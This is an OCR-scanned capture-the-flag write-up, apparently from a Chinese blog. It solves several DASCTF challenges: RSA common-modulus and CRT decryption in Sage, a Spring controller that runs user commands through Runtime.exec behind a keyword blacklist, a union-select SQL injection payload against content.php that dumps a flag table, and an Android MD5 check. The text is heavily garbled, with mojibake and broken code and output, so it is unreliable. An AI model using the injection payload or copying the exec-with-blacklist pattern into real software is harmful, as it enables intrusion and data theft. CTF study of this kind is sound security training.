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1. modulus

sage: xgcd(el,e2)

(3, 41247, -43954)

sage: gcd(el,e2)

3

sage: X,u,v=gcd(el,e2)

TypeError Traceback (most recent call last)<ipython-input-5-43ff36163c84> in <mo
dule>----> 1 x,u,v=gcd(el,e2)

TypeError: cannot unpack non-iterable sage.rings.integer.Integer objectsage: x,u,v=xgcd(el,e2) sage: u*el+v*e2

sage: ufel+v*e2==x

sage: do@=(pow(cl,u,n)*pow(c2,v,n))

sage: from gmpy2 import iroot sage: iroot(de,3)

TypeError Traceback (most recent call last)
<ipython-input-12-4b1685eb3648> in <module>

----> 1 iroot(de,Integer(3))
TypeError: iroot() requires '
sage: iroot(int(de),3)
(mpz(13040004482825156860395157624819040851050261866880924188457925556421111415369843947863093885),
True)

sage: m@=iroot(int(de),3)

sage: int(mo[o])
13040004482825156860395157624819040851050261866880924188457925556421111415369843947863093885

sage: m=int(m@[0])

sage: from Crypto.Util.number import getPrime, inverse, bytes_to_long, long to_b

int", "int" arguments

....: ytes

sage: long_to_bytes(m)
b'flag{a701117077ee72efa48262264e829612}"
sage:
flag{a701117077ee72efa48262264e829612 }
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....: Yp=73360412924315743410612858109886169233122608813546859531995431159702281

....: 18011658096223529760502432612071659075706970781437180634376695689440810601

....: 90581843542795685257689091908433895349081637309727652214037974287355911469

....: 43727032277163147380538250142612444372315262195455266292156566943804557623

....: 319253942627829

....: yq=40011003982913118920477233564329052389422276107266243287367766124357736

....t 73902778189985042209721850635011925701546029115348333948572798451295977180

....: 56456408995250808505252733049881455095069627556642084074888078736720409704

....: 16096459662677968243781070751482234692575943914243633982505045357475070019

....: 527351586080273

«...: Yr=21504040939112983125383942214187695383459556831904800061168077060846983

....: 55247643485482547545774909640450408869617178097090707230549562395381137917

....: 94497891420498177035434584982441866999848584019037292363624396596005618959

....: 31051597248170420055792553353578915848063216831827095100173180270649367917

....: 678965552672673

....1 €=220428832901130282093087304800127910055992783874826238869471313726515822

....: 19674690877702614788731501980054669534609937672774259723151240464851432991

....: 10880489023893212306405656831455657014980956600196044192133108664682769432

....: 41155853029934366950674139215056682438149221374543291202295130547776549069

....: 33389812327044898638002593709319549653953219358397903025474658998555699604

....: 02245724812006674982539005636639505313456017639493377872688846889824697443

....: 80006435119997310653

sage: from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_b

....5 ytes

sage: n=p*q*r

sage: ph=(p-1)*(q-1)*(r-1)

sage: crt([yp,ya,yrl,[ph//(yp-1),ph//(yq-1),ph//(r-1)1)
1801710824643740539087241488605328924022112976805335423883985354538341729076138784049969372649108406838394922185
7740608473216103559485361663568274211638628568561445093103397385866695679989467700029364181674813395599676653948
7948804565611537261710022099179895552234767207025739864114095299424717709389711203691962958870048027041933529979
2543470646039575756295973682131778188986740749346765651630917124673791678245602463647849434935096906506431080479
19019285042353

sage: d=crt([yp,yq,yr],[ph//(p-1),ph//(q-1),ph//(r-1)1])

sage: pow(c,d,n)
3797438716703283095272072199232897267306637599755138969394750706812847073066052856830908921531009969541924764999
2833735625416016275892450158480621632354756437207717559719579392578715004294421877049523603724621043572218107778
2533816268121453743982599796949871264954049513045861108553609439395352109886797295779206374281260468413473489718
4

sage: long_to_bytes(pow(c,d,n))

b'DASCTF{8ec820e5251db6e7a1758543a1123824}"
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import java.i1o.BufferedInputStream;

import java.io.BufferedReader;

import java.io. InputStreamReader;

import org.apache. logging.log4j.util. Strings;

import org.springframework.util.DigestUtils;

import org.springframework.web.bind.annotation. PostMapping;
import org.springframework.web.bind.annotation. RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RequestMapping({"/r"})
@RestController
public class RCE {
private boolean wafl(String data) {
String[] blacks = {"cat", "more", "tail", "f", "1", "a", "g", "?",
", "5ty e, M7M, "8M, Mo, ST, U;t, /MY
if (Strings.isEmpty(data)) {
System.out.println("1111");
return true;
¥
for (String black : blacks) {
if (data.toLowerCase().contains(black)) {
return false;

}

return true;

@PostMapping({"/e"})
public String CE(String x, String c, String cmd) {
if (lwafl(emd)) {
return "hacker!! Go away!1111";

}

nxn npn
) [ )

if (!DigestUtils.md5DigestAsHex(x.getBytes()).startsWith("5ebe2294")) {
return DigestUtils.md5DigestAsHex(x.getBytes()).substring(@, 8);

}

Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();

try {
Process p = run.exec(c);

BufferedInputStream in = new BufferedInputStream(p.getInputStream());

BufferedReader inBr = new BufferedReader(new InputStreamReader(in));

while (true) {
String tmpStr = inBr.readlLine();
if (tmpStr == null) {

break;

}
sb.append(tmpStr);

}

if (p.waitFor() != 0 && p.exitValue() == 1) {
return "failed!!";

}

inBr.close();

in.close();

return sb.toString();

} catch (Exception e) {
return String.valueOf(e);
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WIBIR RN LA, dirsearchiE KL T www.zip, B EA Wk VB,

+ Windows-5SD (C:) * FF » lenovo * T8 » www ~ O O R waw
2 boadst i i) Fih
L] config.php 2021/8/28/F7< 12:25  PHPfile 1 KB
U] content.php 2021 PHPfile 1KB
] index.php 2021 PHPfile 1 KB
B love himl 2021 Firefox HTML D... 1 KB
] love.php 2021/8/28/f5 1215 PHPfile 1KB
e |t
CSDN @ sfastE

BE— T, KRIAEcontentphp BEMGFEEN, HRESGE T —%AR, RABKAEN, @HEF T lagiifag®R R, XHERMIET
F4, HERITEILIEN. BRESFHEFITT —Kwaf:

if(!stristr($row[ 'content'], 'DASCTF') && !stristr($row['time'], 'DASCTF")){
echo $row[ 'content']."<br/>";
echo $row[ 'time'];

¥y payload A

content.php?id=-1%20union%20@select%201,2, (select%20hex(hex(group_concat( 2 )))%20from%20(select%201,2%20union%20
select%20*%20from%20flag)a)



RJG R I — HRhexdmhl :

2
333232433434343135333433353434363742333833383338333236313634363233363635363133303338363433363632333
633363632333833333339333136363338333836353333333233393336333833333744

2
EEERa S AR Sl A AR R L LR R R R R R B LR R L LR E L EL AR ESR N LSRR L E LS R R S R SR LA LA L R S L ]

CSDN @&

ELkhexf@®, Mik: http://stool.chinaz.com/hex
322C4441534354467B38383832616462366561303864366236366238333931663838653332393638337D

UnicodeiRiE UTF-BiREE URLREFERE [ e AsciMNat velRER SR Hex R

R4 524354 6TBIRIBIBIN6 6462 366561 J03864 3662 16366238 33303166 3830653332 3936383370

Pk 5L — IRhexfiR 2%

2, DASCTF{8882adb6ea08d6b66b8391f88e329683}
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public void lambda$onCreate$0$MainActivity(View arg3) {
if(this.m.getText().toString().trim().equals(a.a(a.a("afwwn2u2y111").substring(@, 8)))) {
Toast.makeText (((Context)this), "f@48iEII", 0).show();

b
else {

Toast.makeText(((Context)this), "f#4lifail"”, @).show();
b
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@ Bytecode/Disassembly | [ MainActivity/Source |1 a/Source &
package com.example.t2;
impert java.io.UnsupportedEncodingException;

import java.security.MessageDi
impert java.security.NeSuchAlgorithmException;

public class a {
publie a() {
super();

public static String a{String argd) {
MessageDigest wa;

try
vé = MessageDigest.getInstance(“n0s"); (D
i reset();

v8.update{argd.getBytes(“UTF-8"));

catch(UnsupportedEncodingException via) {
vil.printStackTrace();

¥

eateh(NoSuchilgorithmException ) {
System.out.println(“"NoSuchAlgorithmException caught!™);
System,exit{-1);

}

byte[] vi4_1 = w@.digest();
StringBuffer w8 1 = new StringBuffer();
int v1;
Ffor({vl = 8; vl < wad_1.Llength; ++vl) {
if(Integer.toHexS5tring(vd_1[vl] & 8xFF).length{) == 1) {
va_1.append(“8");
v@_1.append(Integer.toHexString(vd_1[vl] & @xFF));

}
else {
va_1.append(integer. toHexString(vd_1[v1] & @xFF));
}
}
return vB_1.toString();
}
H w h v B
CSDN @4

R4iFxAapk, FHTIEBTE, #%tabBEHERIL. Ma.a fEMISEE, substringBXRTSALF . HKphpRAGIn T -

php -r 'echo md5(substr(md5("afwwn2u2y111"),0,8));";

)

flag’h 9291774f5aedf27c00b05d5¢c7931438
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